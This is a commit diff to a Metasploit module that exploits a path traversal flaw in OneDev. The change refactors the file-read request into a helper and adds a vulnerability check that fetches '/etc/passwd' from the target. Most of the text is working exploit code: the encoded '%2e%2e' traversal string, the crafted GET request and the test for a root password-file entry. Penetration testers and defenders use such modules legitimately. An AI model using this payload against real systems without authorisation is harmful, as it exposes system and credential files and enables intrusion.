55
66class MetasploitModule < Msf ::Auxiliary
77 include Msf ::Exploit ::Remote ::HttpClient
8+ prepend Msf ::Exploit ::Remote ::AutoCheck
89 CheckCode = Exploit ::CheckCode
910
1011 def initialize ( info = { } )
@@ -65,6 +66,15 @@ def check
6566 version = res . body . scan ( /OneDev ([\d .]+)/ ) . first
6667
6768 if version . nil?
69+ if datastore [ 'PROJECT_NAME' ]
70+ res = read_file ( datastore [ 'PROJECT_NAME' ] , '/etc/passwd' )
71+
72+ if res . body . include? 'root:x:0:0:root:'
73+ return CheckCode ::Appears ( "OneDev instance is vulnerable." )
74+ else
75+ return CheckCode ::Safe ( "OneDev instance is not vulnerable." )
76+ end
77+ end
6878 return CheckCode ::Unknown ( "Unable to detect the OneDev version, as the instance does not have anonymous access enabled." )
6979 end
7080
@@ -97,6 +107,18 @@ def find_project
97107 nil
98108 end
99109
110+ def read_file ( project_name , target_file )
111+ path_traversal = '~site////////%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e'
112+ payload_path = normalize_uri ( target_uri . path , project_name )
113+ payload_path = "#{ payload_path } /#{ path_traversal } #{ target_file } "
114+
115+ res = send_request_cgi ( {
116+ 'method' => 'GET' ,
117+ 'uri' => payload_path
118+ } )
119+ return res
120+ end
121+
100122 def run
101123 project_name = datastore [ 'PROJECT_NAME' ]
102124
@@ -107,14 +129,7 @@ def run
107129 fail_with ( Failure ::NoTarget , 'Provided project name is invalid.' ) unless validate_project_exists ( project_name )
108130 end
109131
110- path_traversal = '~site////////%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e'
111- payload_path = normalize_uri ( target_uri . path , project_name )
112- payload_path = "#{ payload_path } /#{ path_traversal } #{ datastore [ 'TARGETFILE' ] } "
113-
114- res = send_request_cgi ( {
115- 'method' => 'GET' ,
116- 'uri' => payload_path
117- } )
132+ res = read_file ( project_name , datastore [ 'TARGETFILE' ] )
118133
119134 fail_with ( Failure ::Unreachable , 'Request timed out.' ) unless res
120135
0 commit comments